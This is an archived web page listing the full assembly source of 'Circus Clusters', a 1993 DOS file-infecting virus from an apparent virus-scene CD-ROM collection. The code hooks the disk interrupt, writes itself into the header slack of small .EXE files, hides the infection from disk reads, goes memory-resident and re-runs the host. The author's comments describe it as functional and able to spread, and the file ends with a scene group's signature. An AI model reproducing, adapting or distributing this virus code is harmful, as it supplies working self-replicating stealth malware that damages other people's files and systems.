home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / C.ZIP / CLUST1.ZIP / CLUSTER1.ASM < prev    next >
Assembly Source File  |  1993-12-24  |  5KB  |  177 lines

  1. ;
  2. ; Circus Clusters by John Tardy
  3. ;
  4. ; This virus is a purely research virus and will not be very able to spread
  5. ; itself. It only infects .EXE files smaller than 64K and have a very small
  6. ; relocation header, so it can hide itself there. It is fully stealth and it
  7. ; only occupies 273 bytes (512-273=239 bytes left for the exe header and the
  8. ; relocation table, which ain't much). However, it is functional and can
  9. ; spread itself if the criteria files are aveable. If this virus is enhanced,
  10. ; it could be a serious threath to the antiviral community.
  11. ;
  12.                 Org 100h
  13.  
  14. Jumpie:         Jmp Short Jumper
  15.  
  16.                 Org 17ch
  17.  
  18. Old13           DD 0
  19. Jumper:         Jmp Install
  20. New13:          Cmp Ah,3
  21.                 Je CheckExe
  22.                 Cmp Ah,2
  23.                 Jne Org13
  24.  
  25.                 Pushf
  26.                 Call Dword Ptr Cs:[Old13]
  27.                 Jc Error
  28.                 Cmp Word Ptr Es:[Bx],7eebh
  29.                 Jne error
  30.                 Mov Word Ptr Es:[Bx],'ZM'
  31.                 Push Di
  32.                 Push Cx
  33.                 Push Ax
  34.  
  35.                 Mov Cx,VirLen
  36.                 Xor Ax,Ax
  37.                 Mov Di,Bx
  38.                 Add Di,80h
  39.                 Rep Stosb
  40.  
  41.                 Pop Ax
  42.                 Pop Cx
  43.                 Pop Di
  44. Error:          Iret
  45. Org13:          Jmp Dword Ptr Cs:[Old13]
  46. CheckExe:
  47.                 Cmp Word Ptr Es:[Bx],'ZM'               ; EXE file?
  48.                 Jne Org13                               ; No do normal INT13
  49.  
  50.                 Cmp Word Ptr Es:[Bx][4],(60000/512)     ; Is it too long?
  51.                 Jnb Org13                               ; Yes do normal INT13
  52.  
  53.                 Push Ax
  54.                 Push Cx
  55.                 Push Si
  56.                 Push Di
  57.                 Push Ds
  58.  
  59.                 Push Es
  60.                 Pop Ds
  61.                 Mov Si,Bx
  62.                 Add Si,80h
  63.                 Mov Cx,VirLen
  64. Find0:          Lodsb
  65.                 Cmp Al,0
  66.                 Loope Find0
  67.                 Cmp Cx,0
  68.                 Jne No0
  69.  
  70.                 Mov Di,Bx
  71.                 Add Di,80h
  72.                 Mov Cx,VirLen
  73.                 Lea Si,Old13
  74.                 Push Cs
  75.                 Pop Ds
  76.                 Rep Movsb
  77.                 Mov Di,Bx
  78.                 Mov Ax,07eebh
  79.                 Stosw
  80.  
  81. No0:
  82.                 Pop Ds
  83.                 Pop Di
  84.                 Pop Si
  85.                 Pop Cx
  86.                 Pop Ax
  87.                 Jmp Org13
  88. Install:
  89.                 Mov Ax,3513h
  90.                 Int 21h
  91.                 Mov Word Ptr Cs:Old13[0],Bx
  92.                 Mov Word Ptr Cs:Old13[2],Es
  93.  
  94.                 mov ah,0dh
  95.                 int 21h
  96.                 mov ah,36h
  97.                 mov dl,0
  98.                 int 21h
  99.  
  100.                 mov     ax,cs                   ;adjust memory-size
  101.                 dec     ax
  102.                 mov     ds,ax
  103.                 cmp     byte ptr ds:[0],'Z'
  104.                 jne     quitit
  105. resit:          sub     word ptr ds:[3],virpar+20h
  106.                 sub     word ptr ds:[12h],VirPar+20h
  107.                 lea     si,old13
  108.                 mov     di,si
  109.                 mov     es,ds:[12h]
  110.                 mov     ds,cs
  111.                 mov     cx,virlen
  112.                 rep     movsb
  113.  
  114.                 Mov Ax,2513h
  115.                 Mov Ds,es
  116.                 Lea Dx,New13
  117.                 Int 21h
  118.  
  119.                 Mov Ah,4ah
  120.                 Push Cs
  121.                 Pop Es
  122.                 Mov Bx,VirPar+20h
  123.                 Int 21h
  124.  
  125.                 push    cs
  126.                 pop     ds
  127.                 mov     bx,ds:[2ch]             ; environment segment
  128.                 mov     es,bx
  129.                 xor     ax,ax
  130.                 mov     di,1
  131.  
  132. Seek:           dec     di                      ; scan for end of environment
  133.                 scasw
  134.                 jne     Seek
  135.                 lea     si,ds:[di+2]            ; es:si = start of filename
  136. Exec:           push    bx
  137.                 pop     ds
  138.                 push    cs
  139.                 pop     es
  140.  
  141.                 mov     di,offset f_name        ; copy name of this file
  142.                 push    di
  143.                 xor bx,bx
  144. movit:          mov     cx,80
  145.                 inc bx
  146.                 lodsb
  147.                 cmp al,0
  148.                 jne stor
  149.                 mov al,0dh
  150. stor:           stosb
  151.                 cmp al,0dh
  152.                 loopne movit
  153.                 mov f_len,bl
  154.  
  155.                 push    cs
  156.                 pop     ds
  157.  
  158.                 pop si
  159.                 dec si
  160.                 Int 2eh
  161.  
  162. quitit:         mov     ah,4ch
  163.                 int     21h
  164.  
  165. f_len           db 0
  166. f_name:         db      1
  167.  
  168. VirEnd          Equ $
  169. VirLen          Equ $-Old13
  170. VirPar          Equ ($-Jumpie)/16
  171.  
  172.  
  173. ;  ─────────────────────────────────────────────────────────────────────────
  174. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  175. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  176. ;  ─────────────────────────────────────────────────────────────────────────
  177.